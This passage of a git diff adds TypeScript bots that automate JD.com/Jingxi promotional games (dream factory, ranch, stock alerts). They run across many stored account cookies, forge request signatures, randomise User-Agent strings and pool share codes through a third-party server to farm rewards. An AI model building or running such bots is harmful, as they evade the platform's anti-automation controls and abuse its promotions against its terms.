'https://joypark.jd.com/', + 'Origin': 'https://joypark.jd.com', + 'Cookie': cookie + } + }) + resolve(data); + }) +} + +function joyList() { + return new Promise(async resolve => { + let {data}: any = await axios.get(`https://api.m.jd.com/?functionId=joyList&body={%22linkId%22:%22LsQNxL7iWDlXUs6cFl-AAg%22}&_t=${Date.now()}&appid=activities_platform`, { + headers: { + 'host': 'api.m.jd.com', + 'User-agent': USER_AGENT, + 'cookie': cookie, + 'origin': 'https://joypark.jd.com', + 'referer': 'https://joypark.jd.com' + } + }) + resolve(data) + }) +} + +function wait(t: number) { + return new Promise(e => setTimeout(e, t)) +} + +function requireConfig() { + return new Promise(resolve => { + console.log('\n====================Hello World====================\n'); + console.log('开始获取配置文件\n'); + const jdCookieNode = require('./jdCookie.js'); + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]); + } + }) + console.log(`共${cookiesArr.length}个京东账号\n`); + resolve(0); + }) +} diff --git a/jd_jxgc.ts b/jd_jxgc.ts new file mode 100644 index 0000000000..7e4ae43e82 --- /dev/null +++ b/jd_jxgc.ts @@ -0,0 +1,200 @@ +/** + * TODO + * 团 + * + * cron: 30 * * * * + */ + +import {format} from 'date-fns' +import axios from "axios" +import {h5st, requireConfig, requestAlgo, wait, exceptCookie} from "./TS_USER_AGENTS" +import {sendNotify} from './sendNotify' +import * as path from "path" + +let cookie: string = '', res: any = '', UserName: string, index: number + + +interface Params { + bizCode?: string, + name?: string, + pin?: string, + sharePin?: string, + shareType?: string, + materialTuanPin?: string, + materialTuanId?: string, + needPickSiteInfo?: number, + source?: string, + productionId?: number, + date?: string, + taskId?: number, + configExtra?: string, + factoryid?: number, + querytype?: number, + apptoken?: string, + pgtimestamp?: string, + phoneID?: string, + doubleflag?: number, + timeStamp?: string, + showAreaTaskFlag?: number, +} + +!(async () => { + await requestAlgo(10001) + let cookiesArr: any = await requireConfig() + let except: string[] = exceptCookie(path.basename(__filename)) + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i] + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + index = i + 1 + console.log(`\n开始【京东账号${index}】${UserName}\n`) + + if (except.includes(encodeURIComponent(UserName))) { + console.log('已设置跳过') + continue + } + + res = await api('userinfo/GetUserInfo', '_time,materialTuanId,materialTuanPin,needPickSiteInfo,pin,sharePin,shareType,source,zone', { + pin: '', + sharePin: '', + shareType: '', + materialTuanPin: '', + materialTuanId: '', + needPickSiteInfo: 0, + source: '' + }) + let productionId: number = 0 + await wait(1000) + try { + productionId = res.data.productionList[0].productionId + let investedElectric: number = res.data.productionList[0].investedElectric, needElectric: number = res.data.productionList[0].needElectric, progress: string = (investedElectric / needElectric * 100).toFixed(2) + console.log('生产进度:', progress) + if (progress === '100.00') { + sendNotify("京喜工厂生产完成", `账号${index} ${UserName}`) + continue + } + } catch (e) { + console.log('当前没有产品在生产') + continue + } + + // 收发电机 + let factoryId: number = res.data.factoryList[0].factoryId + res = await api('generator/QueryCurrentElectricityQuantity', '_time,factoryid,querytype,zone', {factoryid: factoryId, querytype: 1}) + await wait(1000) + let flag: number = -1 + if (res.data.nextCollectDoubleFlag === 1) { + // 下次双倍 + if (res.data.currentElectricityQuantity === res.data.maxElectricityQuantity) { + // 发电机满 + flag = 1 + } else { + console.log('发电机可收取双倍,但没满') + } + } else { + // 没有双倍,直接收 + flag = 0 + } + if (flag !== -1) { + res = await api('generator/CollectCurrentElectricity', + '_time,apptoken,doubleflag,factoryid,pgtimestamp,phoneID,zone', + {apptoken: '', pgtimestamp: '', phoneID: '', factoryid: factoryId, doubleflag: flag, timeStamp: 'undefined'}) + res.ret === 0 + ? console.log('发电机收取成功:', res.data.CollectElectricity) + : console.log('发电机收取失败:', res) + } + await wait(2000) + + // 投入电力 + for (let j = 0; j < 3; j++) { + res = await api('userinfo/InvestElectric', '_time,productionId,zone', {productionId: productionId}) + if (res.ret === 0) { + console.log('投入电力:', res.data.investElectric) + } else { + console.log('投入电力失败:', res) + break + } + await wait(3000) + } + + res = await api('friend/QueryHireReward', '_time,zone') + await wait(1000) + for (let t of res.data.hireReward) { + if (t.date !== format(Date.now(), "yyyyMMdd")) { + res = await api('friend/HireAward', '_time,date,type,zone', {date: t.date}) + await wait(1000) + if (res.ret === 0) + console.log('收取气泡成功:', t.electricityQuantity) + } + } + + console.log('任务列表开始') + for (let j = 0; j < 30; j++) { + if (await task() === 0) { + break + } + await wait(4000) + } + console.log('任务列表结束') + } +})() + +async function task() { + res = await api('GetUserTaskStatusList', '_time,bizCode,showAreaTaskFlag,source', {showAreaTaskFlag: 1, bizCode: 'dream_factory'}) + console.log('GetUserTaskStatusList: 刷新任务列表') + await wait(2000) + for (let t of res.data.userTaskStatusList) { + if (t.awardStatus === 2) { + if (t.completedTimes >= t.targetTimes) { + console.log('可领奖:', t.taskName) + res = await api('Award', '_time,bizCode,source,taskId', {taskId: t.taskId, bizCode: t.bizCode}) + if (res.ret === 0) { + console.log('领奖成功:', res.data.prizeInfo.trim() * 1) + await wait(4000) + return 1 + } else { + console.log('领奖出错') + return 0 + } + } + + if (t.dateType === 2 && t.completedTimes < t.targetTimes && [2, 6, 9].indexOf(t.taskType) > -1) { + console.log('任务开始:', t.taskName) + res = await api('DoTask', '_time,bizCode,configExtra,source,taskId', {configExtra: '', taskId: t.taskId, bizCode: t.bizCode}) + await wait(5000) + if (res.ret === 0) { + console.log('任务完成') + await wait(3000) + return 1 + } else { + console.log('任务失败:') + return 0 + } + } + } + } + return 0 +} + +function api(fn: string, stk: string, params: Params = {}) { + return new Promise((resolve, reject) => { + let url: string = '' + if (['GetUserTaskStatusList', 'DoTask', 'Award'].indexOf(fn) > -1) + url = `https://m.jingxi.com/newtasksys/newtasksys_front/${fn}?source=dreamfactory&_time=${Date.now()}&_stk=${encodeURIComponent(stk)}&_ste=1&_=${Date.now()}&sceneval=2` + else + url = `https://m.jingxi.com/dreamfactory/${fn}?zone=dream_factory&_time=${Date.now()}&_stk=${encodeURIComponent(stk)}&_ste=1&_=${Date.now()}&sceneval=2` + url = h5st(url, stk, params, 10001) + axios.get(url, { + headers: { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'User-Agent': 'jdpingou;', + 'Referer': 'https://st.jingxi.com/pingou/dream_factory/index.html', + } + }).then((res: any) => { + resolve(res.data) + }).catch(err => { + console.log('err:', err) + reject(err) + }) + }) +} diff --git a/jd_jxgc_stock.ts b/jd_jxgc_stock.ts new file mode 100644 index 0000000000..6dcf75504c --- /dev/null +++ b/jd_jxgc_stock.ts @@ -0,0 +1,58 @@ +/** + * 显示京喜工厂当前可生产商品 + * cron: 0 * * * * + */ + +import axios from "axios"; +import USER_AGENT, {h5st, requireConfig, requestAlgo} from "./TS_USER_AGENTS"; +import {sendNotify} from './sendNotify' +import {accessSync, readFileSync, writeFileSync} from "fs"; + +let cookie: string = '', res: any = '', UserName: string, message: string = ''; + + +!(async () => { + await requestAlgo(10001) + let cookiesArr: any = await requireConfig(); + cookie = cookiesArr[0]; + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + console.log(`\n开始【京东账号1】${UserName}\n`); + + let exist: string[]; + try { + accessSync('./json/jxgc_stock.json') + exist = JSON.parse(readFileSync('./json/jxgc_stock.json').toString()) + } catch (e) { + exist = [] + } + + res = await api(); + let current: string[] = [] + for (let t of res.data.commodityList) { + console.log(t.name) + current.push(t.name) + if (!exist.includes(t.name)) { + message += t.name + '\n' + } + } + writeFileSync('./json/jxgc_stock.json', JSON.stringify(current)) + if (message) { + console.log('send...') + sendNotify('京喜工厂可生产', message) + } +})() + +async function api() { + let url: string = `https://wq.jd.com/dreamfactory/diminfo/GetCommodityList?zone=dream_factory&flag=2&pageNo=1&pageSize=12&_time=${Date.now()}&_stk=_time%2Cflag%2CpageNo%2CpageSize%2Czone&_ste=1&_=${Date.now()}&sceneval=2` + url = h5st(url, '_time,flag,pageNo,pageSize,zone', {}, 10001) + let {data}: any = await axios.get(url, { + headers: { + 'Host': 'wq.jd.com', + "User-Agent": USER_AGENT, + 'accept-language': 'zh-cn', + 'referer': 'https://wqsd.jd.com/pingou/dream_factory/index.html', + 'cookie': cookie + } + }) + return data +} \ No newline at end of file diff --git a/jd_jxmc.ts b/jd_jxmc.ts new file mode 100644 index 0000000000..d52077ff02 --- /dev/null +++ b/jd_jxmc.ts @@ -0,0 +1,450 @@ +/** + * 京喜牧场 + * cron: 10 0,12,18 * * * + */ + +import axios from 'axios' +import {Md5} from "ts-md5" +import * as path from 'path' +import {sendNotify} from './sendNotify' +import {requireConfig, getBeanShareCode, getFarmShareCode, wait, requestAlgo, h5st, exceptCookie, resetHosts, randomString, o2s} from './TS_USER_AGENTS' + +const token = require('./utils/jd_jxmc.js').token + +let cookie: string = '', res: any = '', shareCodes: string[] = [], homePageInfo: any, jxToken: any, UserName: string, index: number +let shareCodesHbSelf: string[] = [], shareCodesHbHw: string[] = [], shareCodesSelf: string[] = [], shareCodesHW: string[] = [] + +!(async () => { + await requestAlgo() + let cookiesArr: any = await requireConfig() + if (process.argv[2]) { + console.log('收到命令行cookie') + cookiesArr = [unescape(process.argv[2])] + } + let except: string[] = exceptCookie(path.basename(__filename)) + + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i] + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + index = i + 1 + console.log(`\n开始【京东账号${index}】${UserName}\n`) + + if (except.includes(encodeURIComponent(UserName))) { + console.log('已设置跳过') + continue + } + + jxToken = await token(cookie) + homePageInfo = await api('queryservice/GetHomePageInfo', 'activeid,activekey,channel,isgift,isqueryinviteicon,isquerypicksite,jxmc_jstoken,phoneid,sceneid,timestamp', {isgift: 1, isquerypicksite: 1, isqueryinviteicon: 1}) + if (homePageInfo.data.maintaskId !== 'pause') { + console.log('init...') + for (let j = 0; j < 20; j++) { + res = await api('operservice/DoMainTask', 'activeid,activekey,channel,jxmc_jstoken,phoneid,sceneid,step,timestamp', {step: homePageInfo.data.maintaskId}) + if (res.data.maintaskId === 'pause') + break + await wait(2000) + } + } + + homePageInfo = await api('queryservice/GetHomePageInfo', 'activeid,activekey,channel,isgift,isqueryinviteicon,isquerypicksite,jxmc_jstoken,phoneid,sceneid,timestamp', {isgift: 1, isquerypicksite: 1, isqueryinviteicon: 1}) + let lastgettime: number + if (homePageInfo.data?.cow?.lastgettime) { + lastgettime = homePageInfo.data.cow.lastgettime + } else { + continue + } + + let food: number, petid: string, coins: number + try { + food = homePageInfo.data.materialinfo[0].value + petid = homePageInfo.data.petinfo[0].petid + coins = homePageInfo.data.coins + } catch (e: any) { + console.log('初始化出错,手动去app') + continue + } + + console.log('助力码:', homePageInfo.data.sharekey) + shareCodesSelf.push(homePageInfo.data.sharekey) + try { + await makeShareCodes(homePageInfo.data.sharekey) + } catch (e: any) { + console.log(e) + } + + console.log('草草🌿', food) + console.log('蛋蛋🥚', homePageInfo.data.eggcnt) + console.log('钱钱💰', coins) + + // 助农 + let tasks: any = await api('GetUserTaskStatusList', 'bizCode,dateType,jxpp_wxapp_type,showAreaTaskFlag,source', {dateType: '2', showAreaTaskFlag: 0, jxpp_wxapp_type: 7}, true) + for (let t of tasks.data.userTaskStatusList) { + if (t.awardStatus === 2 && t.taskName !== '邀请牧场新用户助力' && t.taskName !== '拆开邀人红包') { + console.log(t.taskName) + if (t.completedTimes < t.targetTimes) { + for (let j = t.completedTimes; j < t.targetTimes; j++) { + res = await api('DoTask', 'bizCode,configExtra,source,taskId', {taskId: t.taskId}, true) + if (res.ret === 0) { + console.log('任务完成') + } else { + console.log('任务失败') + break + } + await wait(5000) + } + } else { + res = await api('Award', 'bizCode,source,taskId', {taskId: t.taskId}, true) + if (res.ret === 0) { + console.log('领奖成功', res.data.prizeInfo.match(/:(.*)}/)![1]) + } else { + console.log('领奖失败') + break + } + await wait(2000) + } + } + } + + // 扭蛋机 + res = await api('queryservice/GetCardInfo', 'activeid,activekey,channel,jxmc_jstoken,phoneid,sceneid,timestamp') + let drawTimes = res.data.times + if (typeof drawTimes === "undefined") { + await sendNotify("牧场扭蛋机错误", `账号${i + 1} ${UserName}\n手动建造扭蛋机`) + } else { + console.log('扭蛋机剩余次数:', drawTimes) + await wait(1000) + for (let j = 0; j < drawTimes; j++) { + res = await api('operservice/DrawCard', 'activeid,activekey,channel,jxmc_jstoken,phoneid,sceneid,timestamp') + if (res.ret === 0) { + if (res.data.prizetype === 3) { + console.log('抽奖成功,金币:', res.data.addcoins) + } else if (res.data.prizetype === 1) { + console.log('抽奖成功,卡片:', res.data.cardtype) + } else { + console.log('抽奖成功,其他:', res) + } + await wait(4000) + } else { + console.log('抽奖失败:', res) + break + } + } + } + res = await api('queryservice/GetCardInfo', 'activeid,activekey,channel,jxmc_jstoken,phoneid,sceneid,timestamp') + try { + for (let card of res.data.cardinfo) { + console.log(`card ${card.cardtype}`, card.currnum, '/', card.neednum) + if (card.currnum >= card.neednum) { + console.log('可以兑换') + res = await api('operservice/Combine', 'activeid,activekey,cardtype,channel,jxmc_jstoken,phoneid,sceneid,timestamp', {cardtype: card.cardtype}) + res.ret === 0 ? console.log('兑换成功') : '' + await wait(2000) + } + } + } catch (e) { + } + await wait(3000) + + // 红包 + res = await api('operservice/GetInviteStatus', 'activeid,activekey,channel,jxmc_jstoken,phoneid,sceneid,timestamp') + console.log('红包助力:', res.data.sharekey) + shareCodesHbSelf.push(res.data.sharekey) + try { + await makeShareCodesHb(res.data.sharekey) + } catch (e: any) { + } + await wait(3000) + + // 签到 + res = await api('queryservice/GetSignInfo', 'activeid,activekey,channel,jxmc_jstoken,phoneid,sceneid,timestamp') + if (res.data.signlist) { + for (let day of res.data.signlist) { + if (day.fortoday && !day.hasdone) { + res = await api('operservice/GetSignReward', 'channel,currdate,sceneid', {currdate: res.data.currdate}) + if (res.ret === 0) { + console.log('签到成功!') + } else { + console.log(res) + } + break + } + } + } else { + console.log('没有获取到签到信息!') + } + await wait(3000) + + // 登录领白菜 + res = await api('queryservice/GetVisitBackInfo', 'activeid,activekey,channel,jxmc_jstoken,phoneid,sceneid,timestamp') + if (res.iscandraw === 1) { + res = await api('operservice/GetVisitBackCabbage', 'activeid,activekey,channel,jxmc_jstoken,phoneid,sceneid,timestamp') + if (res.ret === 0) { + console.log('登录领白菜:', res.data.drawnum) + } + } + await wait(3000) + /* + console.log('任务列表开始') + for (let j = 0; j < 30; j++) { + if (await getTask() === 0) { + break + } + await wait(3000) + } + console.log('任务列表结束') + await wait(3000) + */ + while (coins >= 5000 && food <= 500) { + res = await api('operservice/Buy', 'activeid,activekey,channel,jxmc_jstoken,phoneid,sceneid,timestamp,type', {type: '1'}) + if (res.ret === 0) { + console.log('买草成功:', res.data.newnum) + coins -= 5000 + food += 100 + } else { + console.log(res) + break + } + await wait(5000) + } + await wait(3000) + + while (food >= 10) { + res = await api('operservice/Feed', 'activeid,activekey,channel,jxmc_jstoken,phoneid,sceneid,timestamp') + if (res.ret === 0) { + food -= 10 + console.log('剩余草:', res.data.newnum) + } else if (res.ret === 2020) { + console.log('收🥚') + homePageInfo = await api('queryservice/GetHomePageInfo', 'activeid,activekey,channel,isgift,isqueryinviteicon,isquerypicksite,jxmc_jstoken,phoneid,sceneid,timestamp', { + isgift: 1, + isquerypicksite: 1, + isqueryinviteicon: 1 + }) + for (let t of homePageInfo.data.petinfo) { + if (t.cangetborn === 1) { + petid = t.petid + break + } + } + res = await api('operservice/GetSelfResult', 'activeid,activekey,channel,itemid,jxmc_jstoken,phoneid,sceneid,timestamp,type', {itemid: petid, type: '11'}) + if (res.ret === 0) { + console.log('收🥚成功:', res.data.newnum) + } else { + console.log('收🥚失败:', res) + break + } + } else if (res.ret === 2005) { + console.log('今天吃撑了') + break + } else { + console.log('Feed未知错误:', res) + break + } + await wait(6000) + } + await wait(3000) + + while (1) { + try { + res = await api('operservice/Action', 'activeid,activekey,channel,jxmc_jstoken,phoneid,sceneid,timestamp,type', {type: '2'}) + if (res.data.addcoins === 0 || JSON.stringify(res.data) === '{}') break + console.log('锄草:', res.data.addcoins) + await wait(5000) + if (res.data.surprise) { + res = await api("operservice/GetSelfResult", "activeid,activekey,channel,jxmc_jstoken,phoneid,sceneid,timestamp,type", {type: '14', itemid: 'undefined'}) + console.log('锄草奖励:', res.data.prizepool) + await wait(5000) + } + } catch (e: any) { + console.log('Error:', e) + break + } + } + await wait(5000) + + while (1) { + try { + res = await api('operservice/Action', 'activeid,activekey,channel,jxmc_jstoken,petid,phoneid,sceneid,timestamp,type', { + type: '1', + petid: petid + }) + if (res.data.addcoins === 0 || JSON.stringify(res.data) === '{}') break + console.log('挑逗:', res.data.addcoins) + await wait(5000) + } catch (e: any) { + console.log('Error:', e) + break + } + } + } + await wait(3000) + + for (let i = 0; i < cookiesArr.length; i++) { + await getCodes() + // 获取随机红包码 + try { + resetHosts() + let {data}: any = await axios.get(`https://api.jdsharecode.xyz/api/jxmchb/30`, {timeout: 10000}) + console.log('获取到30个随机红包码:', data.data) + shareCodes = Array.from(new Set([...shareCodesHbSelf, ...shareCodesHbHw, ...data.data])) + } catch (e: any) { + console.log('获取助力池失败') + shareCodes = Array.from(new Set([...shareCodesHbSelf, ...shareCodesHbHw])) + } + + cookie = cookiesArr[i] + jxToken = await token(cookie) + for (let j = 0; j < shareCodes.length; j++) { + console.log(`账号${i + 1}去助力${shareCodes[j]}`) + res = await api('operservice/InviteEnroll', 'activeid,activekey,channel,jxmc_jstoken,phoneid,sceneid,sharekey,timestamp', {sharekey: shareCodes[j]}) + if (res.ret === 0) { + console.log('成功') + } else if (res.ret === 2711) { + console.log('上限') + break + } else { + console.log('失败:', res) + } + await wait(8000) + } + } + + for (let i = 0; i < cookiesArr.length; i++) { + await getCodes() + // 获取随机助力码 + try { + let {data}: any = await axios.get(`https://api.jdsharecode.xyz/api/jxmc/30`, {timeout: 10000}) + console.log('获取到30个随机助力码:', data.data) + shareCodes = Array.from(new Set([...shareCodesSelf, ...shareCodesHW, ...data.data])) + } catch (e: any) { + console.log('获取助力池失败') + shareCodes = Array.from(new Set([...shareCodesSelf, ...shareCodesHW])) + } + cookie = cookiesArr[i] + jxToken = await token(cookie) + for (let j = 0; j < shareCodes.length; j++) { + console.log(`账号${i + 1}去助力${shareCodes[j]}`) + res = await api('operservice/EnrollFriend', 'activeid,activekey,channel,jxmc_jstoken,phoneid,sceneid,sharekey,timestamp', {sharekey: shareCodes[j]}) + if (res.ret === 0) { + console.log('成功,获得:', res.data.addcoins) + } else { + console.log('失败:', res) + } + await wait(8000) + } + } +})() + +interface Params { + isgift?: number, + isquerypicksite?: number, + petid?: string, + itemid?: string, + type?: string, + taskId?: number + configExtra?: string, + sharekey?: string, + currdate?: string, + token?: string, + isqueryinviteicon?: number, + showAreaTaskFlag?: number, + jxpp_wxapp_type?: number, + dateType?: string, + step?: string, + cardtype?: number, +} + +async function getTask() { + console.log('刷新任务列表') + res = await api('GetUserTaskStatusList', 'bizCode,dateType,jxpp_wxapp_type,showAreaTaskFlag,source', {dateType: '', showAreaTaskFlag: 0, jxpp_wxapp_type: 7}) + for (let t of res.data.userTaskStatusList) { + if (t.completedTimes == t.targetTimes && t.awardStatus === 2) { + res = await api('Award', 'bizCode,source,taskId', {taskId: t.taskId}) + if (res.ret === 0) { + let awardCoin = res.data.prizeInfo.match(/:(.*)}/)![1] * 1 + console.log('领奖成功:', awardCoin) + await wait(4000) + return 1 + } else { + console.log('领奖失败:', res) + return 0 + } + } + + if (t.dateType === 2 && t.completedTimes < t.targetTimes && t.awardStatus === 2 && t.taskType === 2) { + res = await api('DoTask', 'bizCode,configExtra,source,taskId', {taskId: t.taskId, configExtra: ''}) + if (res.ret === 0) { + console.log('任务完成') + await wait(5000) + return 1 + } else { + console.log('任务失败:', res) + return 0 + } + } + } + return 0 +} + +async function api(fn: string, stk: string, params: Params = {}, temporary: boolean = false) { + let url: string + if (['GetUserTaskStatusList', 'DoTask', 'Award'].indexOf(fn) > -1) { + if (temporary) + url = h5st(`https://m.jingxi.com/newtasksys/newtasksys_front/${fn}?_=${Date.now()}&source=jxmc_zanaixin&bizCode=jxmc_zanaixin&_stk=${encodeURIComponent(stk)}&_ste=1&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`, stk, params, 10028) + else + url = h5st(`https://m.jingxi.com/newtasksys/newtasksys_front/${fn}?_=${Date.now()}&source=jxmc&bizCode=jxmc&_stk=${encodeURIComponent(stk)}&_ste=1&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`, stk, params, 10028) + } else { + url = h5st(`https://m.jingxi.com/jxmc/${fn}?channel=7&sceneid=1001&activeid=jxmc_active_0001&activekey=null&jxmc_jstoken=${jxToken['farm_jstoken']}×tamp=${jxToken['timestamp']}&phoneid=${jxToken['phoneid']}&_stk=${encodeURIComponent(stk)}&_ste=1&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`, stk, params, 10028) + } + try { + let {data}: any = await axios.get(url, { + headers: { + 'Host': 'm.jingxi.com', + 'User-Agent': `jdpingou;iPhone;5.9.0;12.4.1;${randomString(40)};network/wifi;`, + 'Referer': 'https://st.jingxi.com/pingou/jxmc/index.html', + 'Cookie': cookie + } + }) + if (typeof data === 'string') + return JSON.parse(data.replace(/\n/g, '').match(/jsonpCBK.?\(([^)]*)/)![1]) + return data + } catch (e: any) { + console.log('api Error:', e) + return {} + } +} + +async function makeShareCodes(code: string) { + try { + let bean: string = await getBeanShareCode(cookie) + let farm: string = await getFarmShareCode(cookie) + let pin: string = Md5.hashStr(cookie.match(/pt_pin=([^;]*)/)![1]) + let {data}: any = await axios.get(`https://api.jdsharecode.xyz/api/autoInsert/jxmc?sharecode=${code}&bean=${bean}&farm=${farm}&pin=${pin}`) + console.log(data.message) + } catch (e) { + console.log('自动提交失败') + console.log(e) + } +} + +async function makeShareCodesHb(code: string) { + try { + let bean: string = await getBeanShareCode(cookie) + let farm: string = await getFarmShareCode(cookie) + let pin: string = Md5.hashStr(cookie.match(/pt_pin=([^;]*)/)![1]) + let {data}: any = await axios.get(`https://api.jdsharecode.xyz/api/autoInsert/jxmchb?sharecode=${code}&bean=${bean}&farm=${farm}&pin=${pin}`, {timeout: 10000}) + console.log(data.message) + } catch (e) { + console.log('自动提交失败') + console.log(e) + } +} + +async function getCodes() { + try { + let {data}: any = await axios.get('https://api.jdsharecode.xyz/api/HW_CODES') + shareCodesHW = data.jxmc || [] + shareCodesHbHw = data.jxmchb || [] + } catch (e) { + } +} \ No newline at end of file diff --git a/jd_jxmc_getCoin.ts b/jd_jxmc_getCoin.ts new file mode 100644 index 0000000000..1e41f22e1c --- /dev/null +++ b/jd_jxmc_getCoin.ts @@ -0,0 +1,98 @@ +/** + * 单独收牛牛 + * cron: 0,30 * * * * + */ + +import axios from 'axios'; +import * as path from 'path'; +import {sendNotify} from './sendNotify'; +import {requireConfig, wait, requestAlgo, h5st, exceptCookie, resetHosts, randomString} from './TS_USER_AGENTS'; + +const cow = require('./utils/jd_jxmc.js').cow; +const token = require('./utils/jd_jxmc.js').token; + +let cookie: string = '', res: any = '', homePageInfo: any, jxToken: any, UserName: string, index: number; + +!(async () => { + try { + resetHosts(); + } catch (e) { + } + + await requestAlgo(); + let cookiesArr: any = await requireConfig(); + if (process.argv[2]) { + console.log('收到命令行cookie') + cookiesArr = [unescape(process.argv[2])] + } + let except: string[] = exceptCookie(path.basename(__filename)); + + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + index = i + 1; + console.log(`\n开始【京东账号${index}】${UserName}\n`); + + if (except.includes(encodeURIComponent(UserName))) { + console.log('已设置跳过') + continue + } + + jxToken = await token(cookie); + homePageInfo = await api('queryservice/GetHomePageInfo', 'activeid,activekey,channel,isgift,isqueryinviteicon,isquerypicksite,jxmc_jstoken,phoneid,sceneid,timestamp', { + isgift: 1, + isquerypicksite: 1, + isqueryinviteicon: 1 + }) + let lastgettime: number + if (homePageInfo.data?.cow?.lastgettime) { + lastgettime = homePageInfo.data.cow.lastgettime + } else { + continue + } + + let food: number = 0 + try { + food = homePageInfo.data.materialinfo[0].value; + } catch (e: any) { + console.log('未开通?黑号?') + continue + } + + // 收牛牛 + let cowToken = await cow(lastgettime); + res = await api('operservice/GetCoin', 'activeid,activekey,channel,jxmc_jstoken,phoneid,sceneid,timestamp,token', {token: cowToken}) + if (res.ret === 0) + console.log('收牛牛:', res.data.addcoin) + else + console.log('收牛牛:', res) + await wait(1000) + } +})() + +async function api(fn: string, stk: string, params: object) { + let url: string; + if (['GetUserTaskStatusList', 'DoTask', 'Award'].indexOf(fn) > -1) { + url = h5st(`https://m.jingxi.com/newtasksys/newtasksys_front/${fn}?_=${Date.now()}&source=jxmc&bizCode=jxmc&_stk=${encodeURIComponent(stk)}&_ste=1&sceneval=2`, stk, params, 10028) + } else { + url = h5st(`https://m.jingxi.com/jxmc/${fn}?channel=7&sceneid=1001&activeid=jxmc_active_0001&activekey=null&jxmc_jstoken=${jxToken['farm_jstoken']}×tamp=${jxToken['timestamp']}&phoneid=${jxToken['phoneid']}&_stk=${encodeURIComponent(stk)}&_ste=1&_=${Date.now() + 2}&sceneval=2`, stk, params, 10028) + } + try { + let {data}: any = await axios.get(url, { + headers: { + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': `jdpingou;iPhone;5.9.0;12.4.1;${randomString(40)};network/wifi;`, + 'Referer': 'https://st.jingxi.com/pingou/jxmc/index.html', + 'Cookie': cookie + } + }) + if (typeof data === 'string') + return JSON.parse(data.replace(/jsonpCBK.?\(/, '').split('\n')[0]) + return data + } catch (e: any) { + console.log('api Error:', e) + return {} + } +} \ No newline at end of file diff --git a/jd_jxmc_stock.ts b/jd_jxmc_stock.ts new file mode 100644 index 0000000000..23f8513dfe --- /dev/null +++ b/jd_jxmc_stock.ts @@ -0,0 +1,134 @@ +/** + * 京喜牧场兑换新品通知 + * 推送新上商品 + * cron: 0 * * * * + */ + +import axios from 'axios'; +import {requireConfig, requestAlgo, wait, getRandomNumberByRange, h5st} from './TS_USER_AGENTS'; +import {readFileSync, writeFileSync, accessSync} from "fs"; + +const notify = require('./sendNotify'), jxmcToken = require('./utils/jd_jxmc.js').token; +let cookie: string = '', res: any = '', UserName: string; + +!(async () => { + await requestAlgo(); + let cookiesArr: any = await requireConfig(); + cookie = cookiesArr[getRandomNumberByRange(0, cookiesArr.length)]; + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + try { + accessSync('./json/jxmc_stock.json') + } catch (e) { + writeFileSync('./json/jxmc_stock.json', '{}', 'utf-8') + } + let exist: any = readFileSync('./json/jxmc_stock.json', 'utf-8') + try { + exist = JSON.parse(exist) + } catch (e) { + exist = {} + } + let items: string = '', message: string = '', token = await jxmcToken(cookie); + + while (1) { + if (new Date().getSeconds() === 0) + break + await wait(100) + } + res = await api('queryservice/GetGoodsListV2', + 'activeid,activekey,channel,jxmc_jstoken,phoneid,sceneid,timestamp', { + activeid: 'jxmc_active_0001', + activekey: 'null', + jxmc_jstoken: token.farm_jstoken, + timestamp: token.timestamp, + phoneid: token.phoneid + }) + console.log(JSON.stringify(res)) + await wait(2000); + + for (let good of res.data.goodslist) { + if (!Object.keys(exist).includes(good.prizepool)) { + items += good.prizepool + ',' + exist[good.prizepool] = { + id: good.prizepool, + egg: good.neednum + } + } + } + let allItems: string = items; + if (items) { + let arr: string[] = items.split(','); + arr.pop(); + items = ''; + let result = []; + for (let i = 0, len = arr.length; i < len; i += 30) { + result.push(arr.slice(i, i + 30)) + } + for (let group of result) { + for (let id of group) { + items += id + ',' + } + res = await getEgg(items) + await wait(1000) + for (let t of res.result) { + exist[t.active].name = t.prizes[0].Name + } + items = '' + } + } + writeFileSync('./json/jxmc_stock.json', JSON.stringify(exist, null, 2), 'utf-8') + for (let j of Object.keys(exist)) { + if (allItems.indexOf(j) > -1) { + message += exist[j].name + '\t' + exist[j].egg + '\n' + } + } + console.log(message) + if (message) { + await notify.sendNotify('京喜牧场兑换', message) + } +})() + +interface Params { + isgift?: number, + activeid?: string, + activekey?: string, + jxmc_jstoken?: string, + timestamp?: string, + phoneid?: string +} + +function api(fn: string, stk: string, params: Params = {}) { + return new Promise(async (resolve, reject) => { + let url = `https://m.jingxi.com/jxmc/${fn}?channel=7&sceneid=1001&_stk=${encodeURIComponent(stk)}&_ste=1&sceneval=2` + url = h5st(url, stk, params, 10028) + try { + let {data}: any = await axios.get(url, { + headers: { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'User-Agent': 'jdpingou;', + 'Referer': 'https://st.jingxi.com/', + } + }) + resolve(data) + } catch (e) { + reject(401) + } + }) +} + +function getEgg(items: string) { + items = items.substr(0, items.length - 1) + let rnd = "abcdefhijkmnprstwxyz".charAt(Math.floor(Math.random() * 4)).toUpperCase(); + return new Promise(async resolve => { + let {data}: any = await axios.get(`https://m.jingxi.com/active/queryprizedetails?actives=${items}&_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBK${rnd}&g_ty=ls`, { + headers: { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'User-Agent': 'jdpingou;', + 'Referer': 'https://st.jingxi.com/pingou/jxmc/index.html', + } + }) + data = JSON.parse(data.replace(`try{ 